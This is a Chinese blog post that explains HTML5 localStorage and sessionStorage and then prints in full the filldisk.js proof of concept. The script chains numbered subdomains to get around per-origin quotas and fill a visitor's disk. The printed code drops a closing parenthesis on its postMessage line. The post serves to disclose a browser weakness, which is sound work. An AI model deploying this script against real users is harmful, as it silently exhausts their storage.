lxghost'hell

HTML5之localStorage

在HTML5之前，本地存储的唯一方案就是cookie，相信大家都懂的。
不过它的局限性也很明显，大小限制和会过期。
所以在HTML5中新增了更好的本地存储功能，本地存储localStorage，在内存中就是sessionStorage，两者的唯一区别就是寿命，前者存在于本地文件，一直存在除非自己删除；后者存在于内存，随着浏览器的关闭而消失。
保存的值都是文本类型，在使用时注意转换成对应的类型

支持的浏览器有 支持的浏览器
用法很简单
localStorage[“key”]=”value”/ localStorage.setItem(“key”, “value”) /  localStorage.key=value 设置
localStorage[“key”] / localStorage.getItem(“key”) /  localStorage.key 调用
localStorage.clear() 清除所有  localStorage.removeItem(“key”) 删除
localStorage.length 已经存在的变量数目
localStorage.key(n) 返回第n个变量
它是以域区分的，每个域名作为一个源，比如www.sample.com/a.html的数据可以被www.sample.com的其他页面访问
不同的电脑/用户/浏览器都是不同的源
每个源的存储大小限制为chrome 2.5MB / firefox&opera 5MB / IE 10MB
还有没制定方案的数据库标准IndexdDB，起始大小为50MB

但是问题也随之产生了，利用localStorage可以无限占用硬盘空间(https://github.com/feross/filldisk.js)
因为除了firefox，其他浏览器对于子域的存储没有按标准进行限制，利用1.sample.com， 2.sample.com，3.sample.com就可以无限产生数据
可以点这里感受一下 代码也很简单

filldisk.js 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

<script>
  //产生循环字符串
  function repeat(string, count) {
    var array = []
    while (count--) {
      array.push(string)
    }
    return array.join('')
  }

  (function () {
    /**
     * 获得子域名的数字
     * http://5.filldisk.com  -->  5
     * @type {Number}
     */
    var frameNum = parseInt(window.location.hostname.match(/^([^.]+)\./i)[1])
    /**
     * reclaim变量表示是否删除
     * 如果为真，删除本地存储
     * @type {Boolean}
     */
    var shouldReclaim = window.location.search.match(/reclaim=(\w+)/i)
    if (shouldReclaim) {
      shouldReclaim = (shouldReclaim[1] == 'true')
    }
    /**
     * 生成2.5mb的字符串.
     * 一个字符串为1字节(b),循环产生100b, 1kb, 10kb, 1000kb, 1mb, 2.5mb
     */
    var n10b = '0123456789'
    var n100b = repeat(n10b, 10)
    var n1kb = repeat(n100b, 10)
    var n10kb = repeat(n1kb, 10)
    var n100kb = repeat(n10kb, 10)
    var n999kb = repeat(n1kb, 999)
    var n2500kb = repeat(n100kb, 25)
    /**
     * js是utf-16字符串，所以产生5mb的localStorage
     */
    try {
      if (shouldReclaim) {
        localStorage['filldisk'] = ''
        localStorage.removeItem('filldisk')
      } else {
        /**
         * 判断浏览器，Opera的限制为2.5mb
         */
        if (navigator.userAgent.indexOf("Opera") == -1) {
          localStorage['filldisk'] = n2500kb
        } else {
          localStorage['filldisk'] = n999kb
        }
      }
    } catch (e) {
      console.error('local storage exception')
      return
    }
    //发送所在的子域名数字
    window.parent.postMessage(frameNum, '*'
    //跳转到下一个子域
    if (shouldReclaim && frameNum > 1) {
      window.location = 'http://' + (frameNum - 1) + '.filldisk.com/frame.html?reclaim=' + shouldReclaim
    } else if (!shouldReclaim) {
      window.location = 'http://' + (frameNum + 1) + '.filldisk.com/frame.html'
    }
  })()
</script>

可以预见HTML5的强大, 比如File API能读取客户端文件用js进行处理，但是必然会带来全新的安全问题，前端是个新的战场:)

HTML5, Web Security
Comments

Comments